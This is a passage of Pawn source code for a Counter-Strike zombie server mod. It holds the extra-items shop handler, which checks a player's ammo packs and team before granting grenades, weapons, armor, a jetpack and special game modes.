4218 client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You don't have enough ammo packs!");
4219 return 0;
4220 }
4221 if ((g_iExtraItemsTeams[iChoice] == 1 && !g_bZombie[iPlayer]) || (g_bZombie[iPlayer] && g_iExtraItemsTeams[iChoice] == 2))
4222 {
4223 client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 This item is not for your team!");
4224 return 0;
4225 }
4226 if (g_iRoundType & 4 || g_iRoundType & 8 || g_iRoundType & 256 || g_iRoundType & 512 || g_iRoundType & 128 || g_iRoundType & 1 || g_iRoundType & 2 || g_iRoundType & 32 || g_iRoundType & 64 || g_bRoundEnd || GetZombies() == 1 || !GetHumans())
4227 {
4228 client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You can't buy this item right now!");
4229 return 0;
4230 }
4231 MakeHuman(iPlayer, false, false);
4232 g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
4233 }
4234 case 1:
4235 {
4236 if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
4237 {
4238 client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You don't have enough ammo packs!");
4239 return 0;
4240 }
4241 if ((g_iExtraItemsTeams[iChoice] == 1 && !g_bZombie[iPlayer]) || (g_bZombie[iPlayer] && g_iExtraItemsTeams[iChoice] == 2))
4242 {
4243 client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 This item is not for your team!");
4244 return 0;
4245 }
4246 if (user_has_weapon(iPlayer, 4, -1))
4247 {
4248 client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You already have one!");
4249 }
4250 else
4251 {
4252 give_item(iPlayer, "weapon_hegrenade");
4253 g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
4254 set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
4255 ShowSyncHudMsg(iPlayer, g_iEventsHudmessage, "You bought a Fire Grenade!");
4256 }
4257 }
4258 case 2:
4259 {
4260 if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
4261 {
4262 client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You don't have enough ammo packs!");
4263 return 0;
4264 }
4265 if ((g_iExtraItemsTeams[iChoice] == 1 && !g_bZombie[iPlayer]) || (g_bZombie[iPlayer] && g_iExtraItemsTeams[iChoice] == 2))
4266 {
4267 client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 This item is not for your team!");
4268 return 0;
4269 }
4270 if (user_has_weapon(iPlayer, 25, -1))
4271 {
4272 client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You already have one!");
4273 }
4274 else
4275 {
4276 give_item(iPlayer, "weapon_flashbang");
4277 g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
4278 set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
4279 ShowSyncHudMsg(iPlayer, g_iEventsHudmessage, "You bought a Freeze Grenade!");
4280 }
4281 }
4282 case 3:
4283 {
4284 if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
4285 {
4286 client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You don't have enough ammo packs!");
4287 return 0;
4288 }
4289 if ((g_iExtraItemsTeams[iChoice] == 1 && !g_bZombie[iPlayer]) || (g_bZombie[iPlayer] && g_iExtraItemsTeams[iChoice] == 2))
4290 {
4291 client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 This item is not for your team!");
4292 return 0;
4293 }
4294 if (user_has_weapon(iPlayer, 9, -1))
4295 {
4296 client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You already have one!");
4297 }
4298 else
4299 {
4300 give_item(iPlayer, "weapon_smokegrenade");
4301 g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
4302 set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
4303 ShowSyncHudMsg(iPlayer, g_iEventsHudmessage, "You bought an Explosion Grenade!");
4304 }
4305 }
4306 case 4:
4307 {
4308 if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
4309 {
4310 client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You don't have enough ammo packs!");
4311 return 0;
4312 }
4313 if ((g_iExtraItemsTeams[iChoice] == 1 && !g_bZombie[iPlayer]) || (g_bZombie[iPlayer] && g_iExtraItemsTeams[iChoice] == 2))
4314 {
4315 client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 This item is not for your team!");
4316 return 0;
4317 }
4318 if (g_iRoundType & 4 || g_iRoundType & 8 || g_iRoundType & 128 || g_iRoundType & 256 || g_iRoundType & 512 || g_iRoundType & 1 || g_iRoundType & 2 || g_iRoundType & 32 || g_iRoundType & 64 || g_bRoundEnd || !GetHumans())
4319 {
4320 client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You can't buy this item right now!");
4321 return 0;
4322 }
4323 if (user_has_weapon(iPlayer, 4, -1))
4324 {
4325 client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You already have one!");
4326 }
4327 else
4328 {
4329 give_item(iPlayer, "weapon_hegrenade");
4330 g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
4331 set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
4332 ShowSyncHudMsg(iPlayer, g_iEventsHudmessage, "You bought an Infection Grenade!");
4333 }
4334 }
4335 case 5:
4336 {
4337 if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
4338 {
4339 client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You don't have enough ammo packs!");
4340 return 0;
4341 }
4342 if ((g_iExtraItemsTeams[iChoice] == 1 && !g_bZombie[iPlayer]) || (g_bZombie[iPlayer] && g_iExtraItemsTeams[iChoice] == 2))
4343 {
4344 client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 This item is not for your team!");
4345 return 0;
4346 }
4347 if (g_iRoundType & 4 || g_iRoundType & 8 || g_iRoundType & 128 || g_iRoundType & 256 || g_iRoundType & 512 || g_iRoundType & 1 || g_iRoundType & 2 || g_iRoundType & 32 || g_iRoundType & 64 || g_bRoundEnd || !GetZombies())
4348 {
4349 client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You can't buy this item right now!");
4350 return 0;
4351 }
4352 if (user_has_weapon(iPlayer, 4, -1))
4353 {
4354 client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You already have one! [ Use your^3 Fire Grenade^1 before ]");
4355 }
4356 else
4357 {
4358 g_bKilling[iPlayer] = true;
4359 give_item(iPlayer, "weapon_hegrenade");
4360 g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
4361 set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
4362 ShowSyncHudMsg(0, g_iEventsHudmessage, "%s bought a Killing Grenade!", g_cName[iPlayer]);
4363 client_print_color(0, print_team_grey, "^4[Zombie Outstanding]^3 %s^1 bought a^4 Killing Grenade", g_cName[iPlayer]);
4364 }
4365 }
4366 case 6:
4367 {
4368 if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
4369 {
4370 client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You don't have enough ammo packs!");
4371 return 0;
4372 }
4373 if ((g_iExtraItemsTeams[iChoice] == 1 && !g_bZombie[iPlayer]) || (g_bZombie[iPlayer] && g_iExtraItemsTeams[iChoice] == 2))
4374 {
4375 client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 This item is not for your team!");
4376 return 0;
4377 }
4378 if (user_has_weapon(iPlayer, 20, -1))
4379 {
4380 client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You already have one!");
4381 }
4382 else
4383 {
4384 drop_weapons(iPlayer, 1)
4385 give_item(iPlayer, "weapon_m249");
4386 cs_set_user_bpammo(iPlayer, 20, 9999);
4387 g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
4388 set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
4389 ShowSyncHudMsg(iPlayer, g_iEventsHudmessage, "You bought an M249 Machine Gun!");
4390 }
4391 }
4392 case 7:
4393 {
4394 if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
4395 {
4396 client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You don't have enough ammo packs!");
4397 return 0;
4398 }
4399 if ((g_iExtraItemsTeams[iChoice] == 1 && !g_bZombie[iPlayer]) || (g_bZombie[iPlayer] && g_iExtraItemsTeams[iChoice] == 2))
4400 {
4401 client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 This item is not for your team!");
4402 return 0;
4403 }
4404 if (user_has_weapon(iPlayer, 24, -1))
4405 {
4406 client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You already have one!");
4407 }
4408 else
4409 {
4410 drop_weapons(iPlayer, 1)
4411 give_item(iPlayer, "weapon_g3sg1");
4412 cs_set_user_bpammo(iPlayer, 24, 9999);
4413 g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
4414 set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
4415 ShowSyncHudMsg(iPlayer, g_iEventsHudmessage, "You bought a G3SG1 Auto Sniper!");
4416 }
4417 }
4418 case 8:
4419 {
4420 if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
4421 {
4422 client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You don't have enough ammo packs!");
4423 return 0;
4424 }
4425 if ((g_iExtraItemsTeams[iChoice] == 1 && !g_bZombie[iPlayer]) || (g_bZombie[iPlayer] && g_iExtraItemsTeams[iChoice] == 2))
4426 {
4427 client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 This item is not for your team!");
4428 return 0;
4429 }
4430 if (user_has_weapon(iPlayer, 13, -1))
4431 {
4432 client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You already have one!");
4433 }
4434 else
4435 {
4436 drop_weapons(iPlayer, 1)
4437 give_item(iPlayer, "weapon_sg550");
4438 cs_set_user_bpammo(iPlayer, 13, 9999);
4439 g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
4440 set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
4441 ShowSyncHudMsg(iPlayer, g_iEventsHudmessage, "You bought a SG550 Auto Sniper!");
4442 }
4443 }
4444 case 9:
4445 {
4446 if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
4447 {
4448 client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You don't have enough ammo packs!");
4449 return 0;
4450 }
4451 if ((g_iExtraItemsTeams[iChoice] == 1 && !g_bZombie[iPlayer]) || (g_bZombie[iPlayer] && g_iExtraItemsTeams[iChoice] == 2))
4452 {
4453 client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 This item is not for your team!");
4454 return 0;
4455 }
4456 if (user_has_weapon(iPlayer, 18, -1))
4457 {
4458 client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You already have one!");
4459 }
4460 else
4461 {
4462 drop_weapons(iPlayer, 1)
4463 give_item(iPlayer, "weapon_awp");
4464 cs_set_user_bpammo(iPlayer, 18, 9999);
4465 g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
4466 set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
4467 ShowSyncHudMsg(iPlayer, g_iEventsHudmessage, "You bought an AWP Sniper Rifle!");
4468 }
4469 }
4470 case 10:
4471 {
4472 if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
4473 {
4474 client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You don't have enough ammo packs!");
4475 return 0;
4476 }
4477 if ((g_iExtraItemsTeams[iChoice] == 1 && !g_bZombie[iPlayer]) || (g_bZombie[iPlayer] && g_iExtraItemsTeams[iChoice] == 2))
4478 {
4479 client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 This item is not for your team!");
4480 return 0;
4481 }
4482 if (g_bFlash[iPlayer])
4483 {
4484 client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You already have one!");
4485 }
4486 else
4487 {
4488 g_bFlashEnabled[iPlayer] = true;
4489 g_bFlash[iPlayer] = true;
4490 remove_task(iPlayer + 350, 0);
4491 set_task(0.10, "TaskFlash", iPlayer + 350, "", 0, "b", 0);
4492 g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
4493 set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
4494 ShowSyncHudMsg(iPlayer, g_iEventsHudmessage, "You bought Nightvision Googles!");
4495 }
4496 }
4497 case 11:
4498 {
4499 if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
4500 {
4501 client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You don't have enough ammo packs!");
4502 return 0;
4503 }
4504 if ((g_iExtraItemsTeams[iChoice] == 1 && !g_bZombie[iPlayer]) || (g_bZombie[iPlayer] && g_iExtraItemsTeams[iChoice] == 2))
4505 {
4506 client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 This item is not for your team!");
4507 return 0;
4508 }
4509 if (g_bNoDamage[iPlayer])
4510 {
4511 client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You already have one!");
4512 }
4513 else
4514 {
4515 g_bNoDamage[iPlayer] = true;
4516 client_cmd(iPlayer, "spk ZombieOutstanding/zombie_madness");
4517 fm_set_rendering ( iPlayer, kRenderFxGlowShell, 250, 0 , 0, kRenderNormal, 62 );
4518 set_task(4.0, "TaskRemoveMadness", iPlayer, "", 0, "", 0);
4519 g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
4520 set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
4521 ShowSyncHudMsg(0, g_iEventsHudmessage, "%s bought Zombie Madness!", g_cName[iPlayer]);
4522 client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^3 %s^1 bought^4 Zombie Madness", g_cName[iPlayer]);
4523 }
4524 }
4525 case 12:
4526 {
4527 if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
4528 {
4529 client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You don't have enough ammo packs!");
4530 return 0;
4531 }
4532 if ((g_iExtraItemsTeams[iChoice] == 1 && !g_bZombie[iPlayer]) || (g_bZombie[iPlayer] && g_iExtraItemsTeams[iChoice] == 2))
4533 {
4534 client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 This item is not for your team!");
4535 return 0;
4536 }
4537 if (get_user_jetpack(iPlayer))
4538 {
4539 user_drop_jetpack(iPlayer);
4540 }
4541 set_user_jetpack(iPlayer, 1);
4542 set_user_fuel(iPlayer, 250.0);
4543 client_cmd(iPlayer, "spk ZombieOutstanding/armor_equip");
4544 client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 Press^3 CTR+SPACE^1 to fly!");
4545 client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 Press^3 RIGHT CLICK^1 to shoot!");
4546 g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
4547 set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
4548 ShowSyncHudMsg(0, g_iEventsHudmessage, "%s bought a Jetpack!", g_cName[iPlayer]);
4549 }
4550 case 13:
4551 {
4552 if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
4553 {
4554 client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You don't have enough ammo packs!");
4555 return 0;
4556 }
4557 if ((g_iExtraItemsTeams[iChoice] == 1 && !g_bZombie[iPlayer]) || (g_bZombie[iPlayer] && g_iExtraItemsTeams[iChoice] == 2))
4558 {
4559 client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 This item is not for your team!");
4560 return 0;
4561 }
4562 if (g_bUnlimitedClip[iPlayer])
4563 {
4564 client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You already have one!");
4565 }
4566 else
4567 {
4568 g_bUnlimitedClip[iPlayer] = 1;
4569 g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
4570 set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
4571 ShowSyncHudMsg(iPlayer, g_iEventsHudmessage, "You bought Unlimited Clip!");
4572 }
4573 }
4574 case 14:
4575 {
4576 if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
4577 {
4578 client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You don't have enough ammo packs!");
4579 return 0;
4580 }
4581 if ((g_iExtraItemsTeams[iChoice] == 1 && !g_bZombie[iPlayer]) || (g_bZombie[iPlayer] && g_iExtraItemsTeams[iChoice] == 2))
4582 {
4583 client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 This item is not for your team!");
4584 return 0;
4585 }
4586 if (120 < get_user_armor(iPlayer))
4587 {
4588 client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You already have one!");
4589 }
4590 else
4591 {
4592 set_user_armor(iPlayer, get_user_armor(iPlayer) + 100);
4593 client_cmd(iPlayer, "spk ZombieOutstanding/armor_equip");
4594 g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
4595 set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
4596 ShowSyncHudMsg(iPlayer, g_iEventsHudmessage, "You've been equiped with armor (100ap)");
4597 }
4598 }
4599 case 15:
4600 {
4601 if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
4602 {
4603 client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You don't have enough ammo packs!");
4604 return 0;
4605 }
4606 if ((g_iExtraItemsTeams[iChoice] == 1 && !g_bZombie[iPlayer]) || (g_bZombie[iPlayer] && g_iExtraItemsTeams[iChoice] == 2))
4607 {
4608 client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 This item is not for your team!");
4609 return 0;
4610 }
4611 if (120 < get_user_armor(iPlayer))
4612 {
4613 client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You already have one!");
4614 }
4615 else
4616 {
4617 set_user_armor(iPlayer, get_user_armor(iPlayer) + 200);
4618 client_cmd(iPlayer, "spk ZombieOutstanding/armor_equip");
4619 g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
4620 set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
4621 ShowSyncHudMsg(iPlayer, g_iEventsHudmessage, "You've been equiped with armor (200ap)");
4622 }
4623 }
4624 case 16:
4625 {
4626 if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
4627 {
4628 client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You don't have enough ammo packs!");
4629 return 0;
4630 }
4631 if ((g_iExtraItemsTeams[iChoice] == 1 && !g_bZombie[iPlayer]) || (g_bZombie[iPlayer] && g_iExtraItemsTeams[iChoice] == 2))
4632 {
4633 client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 This item is not for your team!");
4634 return 0;
4635 }
4636 g_iMaxJumps[iPlayer]++;
4637 g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
4638 set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
4639 ShowSyncHudMsg(iPlayer, g_iEventsHudmessage, "Now you can do %d jumps in a row!", g_iMaxJumps[iPlayer] + 1);
4640 }
4641 case 17:
4642 {
4643 if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
4644 {
4645 client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You don't have enough ammo packs!");
4646 return 0;
4647 }
4648 if ((g_iExtraItemsTeams[iChoice] == 1 && !g_bZombie[iPlayer]) || (g_bZombie[iPlayer] && g_iExtraItemsTeams[iChoice] == 2))
4649 {
4650 client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 This item is not for your team!");
4651 return 0;
4652 }
4653 if (g_bTryder[iPlayer])
4654 {
4655 client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You already have one!");
4656 }
4657 else
4658 {
4659 g_bTryder[iPlayer] = true;
4660 strip_user_weapons(iPlayer);
4661 set_user_armor(iPlayer, 666);
4662 set_user_health(iPlayer, 666);
4663 give_item(iPlayer, "weapon_knife");
4664 give_item(iPlayer, "weapon_deagle");
4665 give_item(iPlayer, "weapon_xm1014");
4666 give_item(iPlayer, "weapon_g3sg1");
4667 give_item(iPlayer, "weapon_ak47");
4668 give_item(iPlayer, "weapon_hegrenade");
4669 give_item(iPlayer, "weapon_flashbang");
4670 give_item(iPlayer, "weapon_smokegrenade");
4671 cs_set_user_bpammo(iPlayer, 26, 9999);
4672 cs_set_user_bpammo(iPlayer, 5, 9999);
4673 cs_set_user_bpammo(iPlayer, 24, 9999);
4674 cs_set_user_bpammo(iPlayer, 28, 9999);
4675 g_bUnlimitedClip[iPlayer] = 1;
4676 fm_set_rendering(iPlayer, kRenderFxGlowShell, 150, 0, 255, kRenderNormal, 10);
4677 client_cmd(iPlayer, "spk ZombieOutstanding/armor_equip");
4678 set_pev(iPlayer, pev_gravity, 0.5);
4679 g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
4680 set_hudmessage(190, 55, 115, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
4681 ShowSyncHudMsg(0, g_iEventsHudmessage, "%s is now a Tryder!", g_cName[iPlayer]);
4682 client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^3 %s^1 is now a^4 Tryder", g_cName[iPlayer]);
4683 }
4684 }
4685 case 18:
4686 {
4687 if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
4688 {
4689 client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You don't have enough ammo packs!");
4690 return 0;
4691 }
4692 if ((g_iExtraItemsTeams[iChoice] == 1 && !g_bZombie[iPlayer]) || (g_bZombie[iPlayer] && g_iExtraItemsTeams[iChoice] == 2))
4693 {
4694 client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 This item is not for your team!");
4695 return 0;
4696 }
4697 if (g_bGolden[iPlayer])
4698 {
4699 client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You already have one!");
4700 }
4701 else
4702 {
4703 g_bGolden[iPlayer] = true;
4704 if (60 > get_user_armor(iPlayer))
4705 {
4706 set_user_armor(iPlayer, 60);
4707 }
4708 if (175 > get_user_health(iPlayer))
4709 {
4710 set_user_health(iPlayer, 175);
4711 }
4712 if (!user_has_weapon(iPlayer, 28, -1))
4713 {
4714 give_item(iPlayer, "weapon_ak47");
4715 cs_set_user_bpammo(iPlayer, 28, 9999);
4716 }
4717 g_bUnlimitedClip[iPlayer] = 1;
4718 client_cmd(iPlayer, "spk ZombieOutstanding/armor_equip");
4719 g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
4720 client_cmd(iPlayer, "weapon_ak47");
4721 set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
4722 ShowSyncHudMsg(0, g_iEventsHudmessage, "%s has now a Golden Kalashnikov (AK-47)", g_cName[iPlayer]);
4723 client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^3 %s^1 has now a^4 Golden Kalashnikov^3 (AK-47)", g_cName[iPlayer]);
4724 }
4725 }
4726 case 19:
4727 {
4728 if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
4729 {
4730 client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You don't have enough ammo packs!");
4731 return 0;
4732 }
4733 if ((g_iExtraItemsTeams[iChoice] == 1 && !g_bZombie[iPlayer]) || (g_bZombie[iPlayer] && g_iExtraItemsTeams[iChoice] == 2))
4734 {
4735 client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 This item is not for your team!");
4736 return 0;
4737 }
4738 if (g_bGoldenDeagle[iPlayer])
4739 {
4740 client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You already have one!");
4741 }
4742 else
4743 {
4744 g_bGoldenDeagle[iPlayer] = true;
4745 if (60 > get_user_armor(iPlayer))
4746 {
4747 set_user_armor(iPlayer, 60);
4748 }
4749 if (175 > get_user_health(iPlayer))
4750 {
4751 set_user_health(iPlayer, 175);
4752 }
4753 if (!user_has_weapon(iPlayer, 26, -1))
4754 {
4755 give_item(iPlayer, "weapon_deagle");
4756 cs_set_user_bpammo(iPlayer, 26, 9999);
4757 }
4758 g_bUnlimitedClip[iPlayer] = 1;
4759 client_cmd(iPlayer, "spk ZombieOutstanding/armor_equip");
4760 g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
4761 client_cmd(iPlayer, "weapon_deagle");
4762 set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
4763 ShowSyncHudMsg(0, g_iEventsHudmessage, "%s has now a Golden Desert Eagle (Night Hawk)", g_cName[iPlayer]);
4764 client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^3 %s^1 has now a^4 Golden Desert Eagle^3 (Night Hawk)", g_cName[iPlayer]);
4765 }
4766 }
4767 case 20:
4768 {
4769 if (g_iSurvivors)
4770 {
4771 client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 There already was a survivor this map!");
4772 return 0;
4773 }
4774 if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
4775 {
4776 client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You don't have enough ammo packs!");
4777 return 0;
4778 }
4779 static cTime[3];
4780 static i;
4781 static bool:bDone;
4782 static Float:fGameTime;
4783 fGameTime = get_gametime();
4784 bDone = true;
4785 get_time("%H", cTime, 3);
4786 i = 0;
4787 while (i < g_iModeRecordings)
4788 {
4789 if (equali(g_cModeRecordings[i], g_cName[iPlayer], 0))
4790 {
4791 bDone = false;
4792 }
4793 i += 1;
4794 }
4795 if (!bDone)
4796 {
4797 client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You^3 already bought^1 a game mode this map!");
4798 }
4799 else
4800 {
4801 if (fGameTime - g_fRoundStartTime < 3.0)
4802 {
4803 client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 Please wait at least^4 three seconds^1 after the round begining!");
4804 }
4805 if (cTime[0] == 48)
4806 {
4807 client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You can't be^3 Survivor^1 during night...");
4808 }
4809 if (g_iRoundsCount > 4 && !g_iRounds[g_iRoundsCount] && !g_iRounds[g_iRoundsCount + -1] && g_bRoundStart)
4810 {
4811 g_bRoundStart = false;
4812 remove_task(550, 0);
4813 StartSurvivorMode(iPlayer);
4814 remove_task(700, 0);
4815 g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
4816 set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
4817 ShowSyncHudMsg(0, g_iEventsHudmessage, "%s bought Survivor!", g_cName[iPlayer]);
4818 client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^3 %s^1 bought^4 Survivor", g_cName[iPlayer]);
4819 copy(g_cModeRecordings[g_iModeRecordings], 32, g_cName[iPlayer]);
4820 g_iModeRecordings += 1;
4821 g_iSurvivors += 1;
4822 }
4823 client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 Sorry but you can't buy right now...");
4824 }
4825 }
4826 case 21:
4827 {
4828 if (g_iSnipers)
4829 {
4830 client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 There already was a sniper this map!");
4831 return 0;
4832 }
4833 if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
4834 {
4835 client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You don't have enough ammo packs!");
4836 return 0;
4837 }
4838 static cTime[3];
4839 static i;
4840 static bool:bDone;
4841 static Float:fGameTime;
4842 fGameTime = get_gametime();
4843 bDone = true;
4844 get_time("%H", cTime, 3);
4845 i = 0;
4846 while (i < g_iModeRecordings)
4847 {
4848 if (equali(g_cModeRecordings[i], g_cName[iPlayer], 0))
4849 {
4850 bDone = false;
4851 }
4852 i += 1;
4853 }
4854 if (!bDone)
4855 {
4856 client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You^3 already bought^1 a game mode this map!");
4857 }
4858 else
4859 {
4860 if (fGameTime - g_fRoundStartTime < 3.0)
4861 {
4862 client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 Please wait at least^4 three seconds^1 after the round begining!");
4863 }
4864 if (cTime[0] == 48)
4865 {
